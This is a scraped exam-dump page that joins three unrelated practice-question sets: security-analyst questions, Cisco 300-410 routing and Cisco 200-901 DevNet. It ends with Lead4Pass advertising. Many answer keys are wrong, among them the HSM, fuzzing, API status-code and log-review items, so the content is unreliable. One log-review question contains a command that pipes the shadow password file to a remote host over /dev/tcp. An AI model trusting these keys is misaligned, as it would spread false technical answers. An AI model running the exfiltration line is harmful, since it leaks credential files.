An analyst identifies multiple instances of node-to-node communication between several endpoints within the
10.200.2.0/24 network and a user machine at the IP address 10.200.2.5. This user machine at the IP address
10.200.2.5 is also identified as initiating outbound communication during atypical business hours with several IP
addresses that have recently appeared on threat feeds.
Which of the following can be inferred from this activity?
A. 10.200.2.0/24 is infected with ransomware.
B. 10.200.2.0/24 is not routable address space.
C. 10.200.2.5 is a rogue endpoint.
D. 10.200.2.5 is exfiltrating data.
Correct Answer: D

 

QUESTION 4
A cybersecurity analyst has access to several threat feeds and wants to organize them while simultaneously comparing
intelligence against network traffic. Which of the following would BEST accomplish this goal?
A. Continuous integration and deployment
B. Automation and orchestration
C. Static and dynamic analysis
D. Information sharing and analysis
Correct Answer: C

 

QUESTION 5
Which of the following MOST accurately describes an HSM?
A. An HSM is a low-cost solution for encryption.
B. An HSM can be networked based or a removable USB
C. An HSM is slower at encrypting than software
D. An HSM is explicitly used for MFA
Correct Answer: A

 

QUESTION 6
A security analyst has a sample of malicious software and needs to know what the sample does? The analyst runs the
sample in a carefully controlled and monitored virtual machine to observe the software behavior. Which of the following
malware analysis approaches is this?
A. White box testing
B. Fuzzing
C. Sandboxing
D. Static code analysis
Correct Answer: C


QUESTION 7
A Chief Information Security Officer (CISO) is concerned the development team, which consists of contractors, has too
much access to customer data. Developers use personal workstations, giving the company little to no visibility into the
development activities.
Which of the following would be BEST to implement to alleviate the CISO\\’s concern?
A. DLP
B. Encryption
C. Test data
D. NDA
Correct Answer: A

 

QUESTION 8
Data spillage occurred when an employee accidentally emailed a sensitive file to an external recipient. Which of the
following controls would have MOST likely prevented this incident?
A. SSO
B. DLP
C. WAF
D. VDI
Correct Answer: B
Reference: https://greenlightcorp.com/blog/cyber-security-solutions-data-spillage-and-how-to-create-an-after-incident-todo-list/

 

QUESTION 9
A security analyst recently discovered two unauthorized hosts on the campus\\’s wireless network segment from a manm-the-middle attack.The security analyst also verified that privileges were not escalated, and the two devices did not
gain access to other network devices Which of the following would BEST mitigate and improve the security posture of
the wireless network for this type of attack?
A. Enable MAC filtering on the wireless router and suggest stronger encryption for the wireless network,
B. Change the SSID, strengthen the passcode, and implement MAC filtering on the wireless router.
C. Enable MAC filtering on the wireless router and create a whitelist that allows devices on the network
D. Conduct a wireless survey to determine if the wireless strength needs to be reduced.
Correct Answer: A


QUESTION 10
A system is experiencing noticeably slow response times, and users are being locked out frequently. An analyst asked
for the system security plan and found the system comprises two servers: an application server in the DMZ and a
database server inside the trusted domain. Which of the following should be performed NEXT to investigate the
availability issue?
A. Review of the firewall logs.
B. Review syslogs from critical servers.
C. Perform fuzzing.
D. Install a WAF in front of the application server.
Correct Answer: C

 

QUESTION 11
A security team is implementing a new vulnerability management program in an environment that has a historically poor
security posture. The team is aware of issues patch management in the environment and expects a large number of
findings. Which of the following would be the MOST efficient way to increase the security posture of the organization in
the shortest amount of time?
A. Create an SLA stating that remediation actions must occur within 30 days of discovery for all levels of vulnerabilities.
B. Incorporate prioritization levels into the remediation process and address critical findings first.
C. Create classification criteria for data residing on different servers and provide remediation only for servers housing
sensitive data.
D. Implement a change control policy that allows the security team to quickly deploy patches in the production
environment to reduce the risk of any vulnerabilities found.
Correct Answer: B

 

QUESTION 12
An information security analyst observes anomalous behavior on the SCADA devices in a power plant. This behavior
results in the industrial generators overheating and destabilizing the power supply. Which of the following would BEST
identify potential indicators of compromise?
A. Use Burp Suite to capture packets to the SCADA device\\’s IP.
B. Use tcpdump to capture packets from the SCADA device IP.
C. Use Wireshark to capture packets between SCADA devices and the management system.
D. Use Nmap to capture packets from the management system to the SCADA devices.
Correct Answer: C


QUESTION 13
During a routine log review, a security analyst has found the following commands that cannot be identified from the
Bash history log on the root user.
1.
Line 1 logger keeping track of my activity
2.
Line 2 tail -l /vvar/log/syslog
3.
Lino 3 lvextend -L +50G /dev/volg1/secret
4.
Line 4 rm -rf1 /tmp/DFt5Gsd3
5.
Line 5 cat /etc/s*w> /dev/tcp/10.0.0.1/8080
6.
Line 6 yum install httpd –assumeyes
Which of the following commands should the analyst investigate FIRST?
A. Line 1
B. Line 2
C. Line 3
D. Line 4
E. Line 5
F. Line 6
Correct Answer: B

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QUESTION 1
Refer to the exhibit. An engineer configures a static route on a router, but when the engineer checks the route to the
destination, a different next-hop is chosen. What is the reason for this?

lead4pass 300-410 practice test q1

A. Dynamic routing protocols always have priority over static routes.
B. The metric of the OSPF route is lower than the metric of the static route.
C. The configured AD for the static route is higher than the AD of OSPF.
D. The syntax of the static route is not valid, so the route is not considered.
Correct Answer: C

 

QUESTION 2
Refer to the exhibit. An engineer is trying to generate a summary route in OSPF for network 10.0.0.0/8, but the
summary route does not show up in the routing table. Why is the summary route missing?lead4pass 300-410 practice test q2

A. The summary-address command is used only for summarizing prefixes between areas.
B. The summary route is visible only in the OSPF database, not in the routing table.
C. There is no route for a subnet inside 10.0.0.0/8, so the summary route is not generated.
D. The summary route is not visible on this router, but it is visible on other OSPF routers in the same area.
Correct Answer: C

 

QUESTION 3
Refer to the exhibit. After applying IPsec, the engineer observed that the DMVPN tunnel went down, and both spoke-to spoke and hub was not establishing. Which two actions resolve the issue? (Choose two.)lead4pass 300-410 practice test q3

A. Change the mode from mode tunnel to mode transport on R3.
B. Remove the crypto isakmp key cisco address 10.1.1.1 on R2 and R3.
C. Configure the crypto isakmp key cisco address 192.1.1.1 on R2 and R3.
D. Configure the crypto isakmp key cisco address 0.0.0.0 on R2 and R3.
E. Change the mode from mode transport to mode tunnel on R2.
Correct Answer: AD

 

QUESTION 4
Which is a statement about IPv6 inspection is true?
A. It teams and secures bindings for stateless autoconfiguration addresses in Layer 3 neighbor tables
B. It learns and secures bindings for stateful autoconfiguration addresses in Layer 3 neighbor tables
C. It teams and secures bindings for stateful autoconfiguration addresses in Layer 2 neighbor tables
D. It team and secures binding for stateless autoconfiguration addresses in Layer 2 neighbor tables.
Correct Answer: D

 

QUESTION 5
Which two protocols can cause TCP starvation? (Choose two)
A. TFTP
B. SNMP
C. SMTP
D. HTTPS
E. FTP
Correct Answer: AB

 

QUESTION 6
Which transport layer protocol is used to form LDP sessions?
A. UDP
B. SCTP
C. TCP
D. RDP
Correct Answer: C

 

QUESTION 7
During the maintenance window, an administrator accidentally deleted the Telnet-related configuration that permits a
Telnet connection from the inside network (Eth0/0) to the outside of the networking between Friday?Sunday night hours
only.lead4pass 300-410 practice test q7

Which configuration resolves the issue?
A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: B

 

QUESTION 8
Refer to the exhibit. An engineer is trying to configure local authentication on the console line, but the device is trying to
authenticate using TACACS+. Which action produces the desired configuration?lead4pass 300-410 practice test q8

A. Add the aaa authentication login default none command to the global configuration.
B. Replace the capital “C” with a lowercase “c” in the aaa authentication login Console local command.
C. Add the aaa authentication login default group tacacs+ local-case command to the global configuration.
D. Add the login authentication Console command to the line configuration
Correct Answer: D

 

QUESTION 9
Drag and drop the operations from the left onto the locations where the operations are performed on the right. Drag
each definition on the left to the matching term on the right.
Select and Place:lead4pass 300-410 practice test q9

QUESTION 10
Which attribute eliminates LFAs that belong to protected paths in situations where links in a network are connected
through a common fiber?
A. shared risk link group-disjoint
B. linecard-disjoint
C. lowest-repair-path-metric
D. interface-disjoint
Correct Answer: B
Reference: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/xe-3s/asr1000/ire-xe-3sasr1000/ire-ipfrr.html

 

QUESTION 11
Refer to the exhibit.lead4pass 300-410 practice test q11

A junior engineer updated a branch router configuration. Immediately after the change, the engineer receives calls from
the help desk that branch personnel cannot reach any network destinations. Which configuration restores service and
continues to block 10.1.1.100/32?
A. route-map FILTER-IN deny 5
B. ip prefix-list 102 seq 15 permit 0.0.0.0/32 le 32
C. ip prefix-list 102 seq 5 permit 0.0.0.0/32 le 32
D. route-map FILTER-IN permit 20
Correct Answer: D

 

QUESTION 12
Which method changes the forwarding decision that a router makes without first changing the routing table or
influencing the IP data plane?
A. nonbroadcast multiaccess
B. packet switching
C. policy-based routing
D. forwarding information base
Correct Answer: C

 

QUESTION 13
A network engineer is configuring a DHCP server to support a specialized application. Which additional DHCP feature
must be enabled to support the delivery of various additional parameters to DHCP clients?
A. modules
B. vendor extensions
C. options
D. Scopes
Correct Answer: C

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Cisco 200-901 Practice testing questions from Youtube

latest updated Cisco 200-901 exam questions and answers

QUESTION 1
Refer to the exhibit.lead4pass 200-901 exam questions q1

What is the value of the node defined by this YANG structure?
A.
B.
C.
D.
Correct Answer: D

 

QUESTION 2
DRAG DROP
Drag and drop the Bash commands from the left onto the correct actions on the right.
Select and Place:lead4pass 200-901 exam questions q2

Correct Answer:

lead4pass 200-901 exam questions q2-1

 

QUESTION 3
What are the two roles of an artifact repository in a CI/CD pipeline? (Choose two.)
A. is required for CI/CD pipelines executed on a public cloud infrastructure
B. is required for managing open source software
C. stores files needed and generated during the build process
D. allows for comparing and merging changes in the source code
E. provides traceability, search, and management of binary files
Correct Answer: CE

 

QUESTION 4
Which two elements are foundational of DevOps? (Choose two.)
A. organizing cross-functional teams over organizational silos
B. designing applications as microservices
C. encouraging containers for the deployment of applications
D. automating over documenting
E. optimizing the cost of infrastructures
Correct Answer: AC
Reference: https://www.cisco.com/c/dam/en/us/products/collateral/cloud-systems-management/cloudcenter/white-paperc11-737221.pdf

 

QUESTION 5
DRAG DROP
Drag and drop the network automation interfaces from the left onto the transport protocols that they support on the
right.
Select and Place:lead4pass 200-901 exam questions q5

Correct Answer:

lead4pass 200-901 exam questions q5-1

 

QUESTION 6
Which action does the Git command git merge allow the developer to perform?
A. Combine multiple sequences of commits into one unified history
B. Push changes to the remote repository
C. create, list, rename and delete branches
D. Switch between branches
Correct Answer: A
Reference: https://www.atlassian.com/git/tutorials/using-branches/git-merge

 

QUESTION 7
DRAG DROP
Drag and drop the capability on the left onto the Cisco compute management platform that supports the capability on
the right.
Select and Place:lead4pass 200-901 exam questions q7

Correct Answer:

lead4pass 200-901 exam questions q7-1

 

QUESTION 8
A developer is writing an application that uses a REST API and the application requires a valid response from the API.
Which element of the response is used in the conditional check?
A. body
B. headers
C. link
D. URL
E. status code
Correct Answer: B
Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/aci/apic/sw/2-x/rest_cfg/2_1_x/b_Cisco_APIC_REST_API_Configuration_Guide/b_Cisco_APIC_REST_API_Configuration_Guide_chapter_01.html

 

QUESTION 9
FILL BLANK
Fill in the blanks to complete the Python script to retrieve a list of network devices using the Cisco DNA Center API.
import requests
url = “https://myDNAserver/dna/intent/api/v1/network-device”
payload = {}
headers = {`x-auth-token\\’: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzl1NiJ9.ey.JzdWloOil1ZDE0OWZkMjhlZTY2
MmQ3NGM5YzE5ZTliLmYzMCLslmV4CcCI6MTU3MjM3ODE%MCwidXNlcm5hbWUiOiJraX
N370940885.zhK5LPQd501ZUpZI0IH_qrgOXttlNbxSFFF7JOEtRls\\’
}
response = requests.request( _______________________ , url,
headers = _________________________, data = _______________________ )
print(response.text.encode(`utf8\\’))
A.
Correct Answer: See below.

 

QUESTION 10
Which two statements describe the advantages of using a version control system? (Choose two.)
A. It allows for branching and merging so that different tasks are worked on in isolation before they are merged into a
feature or master branch.
B. It provides tooling to automate application builds and infrastructure provisioning.
C. It allows multiple engineers to work against the same code and configuration files and manage differences and
conflicts.
D. It provides a system to track User Stories and allocate to backlogs.
E. It allows developers to write effective unit tests.
Correct Answer: AD
Reference: https://www.agileconnection.com/article/picking-right-branch-merge-strategy

 

QUESTION 11
A developer is reviewing a code that was written by a colleague. It runs fine, but there are many lines of code to do a
seemingly simple task repeatedly. Which action organizes the code?
A. Refactor the code by removing any unnecessary tests.
B. Reverse engineer and rewrite the code logic.
C. Using functions rewrite any pieces of code that are repeated.
D. Modify the code to use loops.
Correct Answer: A

 

QUESTION 12
Refer to the exhibit.lead4pass 200-901 exam questions q12

What is the function of the Python script?
A. Loop through the returned network devices and, for each device, print the device name and management IP
address.
B. Count and print the total number of available devices.
C. For each device that is returned, display the device type and associated management IP address.
D. Iterate over a list of network devices and write all device names and management IP addresses to an output file.
Correct Answer: B


QUESTION 13
What are two benefits of managing network configuration via APIs? (Choose two.)
A. more security due to locking out manual device configuration
B. configuration on devices becomes less complex
C. eliminates the need for legacy management protocols like SNMP
D. reduction in network changes performed manually
E. increased scalability and consistency of network changes
Correct Answer: DE

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Lead4Pass has 7 years of exam experience! A number of professional Cisco exam experts! Update exam questions throughout the year! The most complete exam questions and answers! The safest buying experience! The greatest free sharing of exam practice questions and answers!
Our goal is to help more people pass the Cisco exam! Exams are a part of life, but they are important!
In the study, you need to sum up the study! Trust Lead4Pass to help you pass the exam 100%!

about lead4pass

Summarize:

LatestVCE free to share Cisco 200-901 exam exercise questions, 200-901 pdf, 200-901 exam video! Lead4pass updated exam questions and answers throughout the year!
Make sure you pass the exam successfully. Select lead4Pass 200-901 to pass Cisco 200-901 exam “Developing Applications and Automating Workflows using Cisco Platforms (DEVASC)”.

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